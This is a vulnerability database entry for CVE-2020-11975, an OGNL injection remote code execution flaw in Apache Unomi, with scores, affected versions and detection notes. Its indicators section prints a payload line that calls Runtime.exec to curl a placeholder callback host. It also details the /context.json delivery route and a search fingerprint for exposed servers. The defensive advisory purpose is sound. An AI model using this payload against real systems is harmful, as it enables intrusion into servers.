cbcvebase.
CVE-2020-11975
published 2020-06-05

CVE-2020-11975: Apache Unomi allows conditions to use OGNL scripting which offers the possibility to call static Java classes from the JDK that could execute code with the…

PriorityP185critical9.8CVSS 3.1
AVNACLPRNUINSUCHIHAH
ITWEXPLOITVulnCheck KEVInitial access
Exploited in the wild
EPSS
29.89%
98.0th percentile
Apache Unomi allows conditions to use OGNL scripting which offers the possibility to call static Java classes from the JDK that could execute code with the permission level of the running Java process.

Affected

1 ranges
VendorProductVersion rangeFixed in
apacheunomi< 1.5.11.5.1

Detection & IOCsextracted from sources · hover to see the quote

url/context.json
command(#[email protected]@getRuntime()).(#r.exec("curl {{interactsh-url}}"))
othertype: profilePropertyCondition
  • POST request to /context.json with a JSON body containing OGNL expression in the 'propertyName' field under a profilePropertyCondition is the exploit delivery mechanism.
  • Exploit payload uses the 'personalizations' key with a 'profilePropertyCondition' type and OGNL static class invocation (@java.lang.Runtime@getRuntime()) in the propertyName field — monitor POST bodies to /context.json for this pattern.
  • Successful exploitation returns HTTP 200 or 500 with a JSON body containing both 'profileId' and 'sessionId' fields and Content-Type application/json.
  • Shodan/FOFA fingerprint for exposed Apache Unomi instances: HTTP title 'Apache Unomi'.
  • DNS interaction (OOB callback via curl) can be used to confirm blind RCE — monitor for outbound DNS/HTTP from the Unomi Java process following a POST to /context.json.
  • ·The OGNL injection is delivered inside the 'personalizations' array of the /context.json request body; the vulnerable parameter is 'propertyName' within a 'profilePropertyCondition' type condition — only Apache Unomi instances with OGNL scripting enabled in conditions are exploitable.
  • ·The exploit runs with the privilege level of the Java process hosting Apache Unomi — impact severity depends on the OS user running the JVM.

CVSS provenance

nvdv3.19.8CRITICALCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
nvdv2.010.0CRITICALAV:N/AC:L/Au:N/C:C/I:C/A:C
vulncheck9.8CRITICAL
CVEs like this are exactly what “Exploited This Week” covers.

Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.